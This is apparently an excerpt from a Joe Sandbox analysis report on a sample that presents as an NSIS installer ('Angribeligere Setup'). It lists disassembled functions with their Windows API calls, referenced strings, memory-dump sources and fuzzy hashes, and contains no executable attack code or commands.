Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 0f129fd7f7df80537c5f9e1eb6f54556ad660c5267986f7df7bd7c5007d73d3e
Instruction ID: 552098977e22cffcc29eaacdabede243c0f20e1b5d71923adfcfca28e3e686eb
Opcode Fuzzy Hash: 0f129fd7f7df80537c5f9e1eb6f54556ad660c5267986f7df7bd7c5007d73d3e
Instruction Fuzzy Hash: 63318DB1C00118BFCF216FA5CD89DAE7E79EF09364F10423AF520762E1C6795D419BA9

Function 00402BDA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BF2
GetTickCount.KERNEL32 ref: 00402C10
wsprintfA.USER32 ref: 00402C3E

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

CreateDialogParamA.USER32(0000006F,00000000,00402B42,00000000), ref: 00402C62
ShowWindow.USER32(00000000,00000005), ref: 00402C70

Part of subcall function 00402BBE: MulDiv.KERNEL32(00000000,00000064,00000257), ref: 00402BD3

Strings

... %d%%, xrefs: 00402C38

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: a5c26afaddfd3aecbd3c11435c5afe696aa269bce338e105ebc0525db4289807
Instruction ID: 53b2eec8c243fd5a5b591a6d8e7090b5e500d3da6e0592f5c5af2241ed808ea0
Opcode Fuzzy Hash: a5c26afaddfd3aecbd3c11435c5afe696aa269bce338e105ebc0525db4289807
Instruction Fuzzy Hash: AB0188B0949614ABDB216F64AE4DE9F7B7CFB017057148037FA01B11E1C6B8D541CBAE

Function 004048EA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404905
GetMessagePos.USER32 ref: 0040490D
ScreenToClient.USER32(?,?), ref: 00404927
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404939
SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040495F

Strings

f, xrefs: 0040493B

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 7baaa9b85802c8a5173365c44ed2834cc31749f5d024e9fb4d2ec5e64c2f69ce
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: E40140B1D00218BADB01DBA4DC85FFFBBBCAB95721F10412BBA10B61D0C7B469018BA5

Function 00401D26 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040A7D0), ref: 00401DA1

Strings

Times New Roman, xrefs: 00401D87

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: d8f1134e0d9cc842e71cdb0a798ee728ace2ac96abc312f9551e68033e09961b
Instruction ID: b452d76144ce78c1ea2c31cbd89393ff29a213aa8dcca448cc35c7c7cb6754f7
Opcode Fuzzy Hash: d8f1134e0d9cc842e71cdb0a798ee728ace2ac96abc312f9551e68033e09961b
Instruction Fuzzy Hash: F8011271948340AFE701DBB0AE0EB9A7F74EB19705F108535F141B72E2C6B954159B2F

Function 00402B42 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B5D
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BB3

Strings

unpacking data: %d%%, xrefs: 00402B7F
verifying installer: %d%%, xrefs: 00402B86, 00402B8F

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction ID: 4b4d840d1cf11f9656568dd8641bec75cd76f4f3bd4f461a87d93eb2d0bf3f96
Opcode Fuzzy Hash: bccffcf18056edd42c20cb723d80919439a72dcdb3cc8cc3de12e394d3f134cc
Instruction Fuzzy Hash: F7F01D70900208BBEF215F61DD4ABEE3779EB00345F00803AFA06B51D0D7F8AA558B9A

Function 004047E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Angribeligere Setup: Installing,Angribeligere Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
wsprintfA.USER32 ref: 00404886
SetDlgItemTextA.USER32(?,Angribeligere Setup: Installing), ref: 00404899

Strings

Angribeligere Setup: Installing, xrefs: 00404870, 00404875, 0040487B, 0040488F
%u.%u%s%s, xrefs: 00404868

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Angribeligere Setup: Installing
API String ID: 3540041739-3982710442
Opcode ID: 01753190a1a61c127577f13d1343217740e1c978151e7be2dc7a3714e54fef7e
Instruction ID: 8631c14a921e8479d2aaee063571767324bc63c1cfe9171b6f21c1c007081b9c
Opcode Fuzzy Hash: 01753190a1a61c127577f13d1343217740e1c978151e7be2dc7a3714e54fef7e
Instruction Fuzzy Hash: 90112433A441283BDB0065AD9C49EAF328CDF81334F244637FA25F61D1E9788C1292E8

Function 00403A4C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F00), ref: 00403AE4

Strings

wi, xrefs: 00403AC1
"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 00403A4D
1033, xrefs: 00403A50, 00403A5A, 00403ACB
Angribeligere Setup: Installing, xrefs: 00403A4F

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$1033$Angribeligere Setup: Installing$wi
API String ID: 530164218-3597290920
Opcode ID: 19cfd19e0caeefaef38e1447d84035fc52b25a49d1c0675f2d636fa1eca01dcb
Instruction ID: 694a286dd4981efc18ef326c294584d4bec2a1602357d8abc11fec8a6f834ca0
Opcode Fuzzy Hash: 19cfd19e0caeefaef38e1447d84035fc52b25a49d1c0675f2d636fa1eca01dcb
Instruction Fuzzy Hash: EC11D4B1B046109BCB24DF15DC809337BBDEB8471A329813BE941A73A1C73D9E029A98

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 729fc4278e862243959d7ad856f7c73244b6852cfe4ffc3fdd7b269795ac9902
Instruction ID: 68903ef9478fc0d920f95a79cd5396482650d24808bb52901199de5d2149753e
Opcode Fuzzy Hash: 729fc4278e862243959d7ad856f7c73244b6852cfe4ffc3fdd7b269795ac9902
Instruction Fuzzy Hash: 06F062B2A05114BFD701DBA4EE88CAF77BCEB44301B008576F501F2091C7389D019B79

Function 004057C6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 004057CC
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403201,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 004057D5
lstrcatA.KERNEL32(?,00409014), ref: 004057E6

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C6

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-787714339
Opcode ID: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction ID: c144259923a6e848a034fe90771ae4f3275bad2fdba58d127270a3e6eafdfb33
Opcode Fuzzy Hash: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction Fuzzy Hash: 00D0A962606A306BD20222168C09E8F6A08CF06300B044033F204B62B2C63C0D418FFE

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction ID: 9791f4c70c1528f8983e13c97e2cb0ced061aec02aec85b9ff59acd402aedfa8
Opcode Fuzzy Hash: ec7151e13ff031cd6146c14c1100c40685b360c9b493fb258c96d19e35a9089b
Instruction Fuzzy Hash: A0117071901209BEDF01EFA5DD85DAEBBB9EF04344B20807AF505F61A1D7388E55DB28

Function 0040585F Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,Invaliditetsprocent209\indoktrineringen.rec,?,004058CB,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040586D
CharNextA.USER32(00000000), ref: 00405872
CharNextA.USER32(00000000), ref: 00405886

Strings

Invaliditetsprocent209\indoktrineringen.rec, xrefs: 00405860

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharNext
String ID: Invaliditetsprocent209\indoktrineringen.rec
API String ID: 3213498283-2173611331
Opcode ID: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction ID: 725a23b4e930c3b6c27a7d0cd0e333612dd42f6c53d199a680129a9385ae8045
Opcode Fuzzy Hash: 2ea991d7d7ffd85479a521eab3fc1e567f9f9a9fdda000af801139d1d19966a1
Instruction Fuzzy Hash: 74F06253914F516AFB3276645C44B7B5A8CCF56361F188477EE40A62C2C2BC4C618F9A

Function 00404F93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC2
CallWindowProcA.USER32(?,?,?,?), ref: 00405013

Part of subcall function 00404038: SendMessageA.USER32(00010448,00000000,00000000,00000000), ref: 0040404A

Strings

, xrefs: 00404FA3

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction ID: 01da3f5901ddaf9404fa7d81b8fd4ad62d8e53e58d7af57a61279808ed2d7cb1
Opcode Fuzzy Hash: a1366604d20516d7a227b416e124a8c8ccbf6a8c92e3cea699473ae65b9a4b61
Instruction Fuzzy Hash: EA018F7110020DABDF209F11DC85E9F3B6AF784758F208037FA04752D1D77A8C92AAAE

Function 004058B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040585F: CharNextA.USER32(?,?,Invaliditetsprocent209\indoktrineringen.rec,?,004058CB,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

lstrlenA.KERNEL32(Invaliditetsprocent209\indoktrineringen.rec,00000000,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 00405907
GetFileAttributesA.KERNEL32(Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,00000000,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0), ref: 00405917

Strings

Invaliditetsprocent209\indoktrineringen.rec, xrefs: 004058BA, 004058BF, 004058C5, 00405900, 00405906, 0040590E, 00405916

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: Invaliditetsprocent209\indoktrineringen.rec
API String ID: 3248276644-2173611331
Opcode ID: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction ID: cee4b60d78671bb78a10d3fddc0396ac835ea714c96625339261d657e7680c9f
Opcode Fuzzy Hash: 681a1499075d1ef18d3e94b36260b5cb5e6403957cf75bde6daaeed28ee23a5f
Instruction Fuzzy Hash: 0AF02823105D6026C63233391C09AAF1B95CE86368B24853FFC51B22D1DB3C8863DE7E

Function 004024D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024EF
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040250E

Strings

C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll, xrefs: 004024DD, 00402502

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

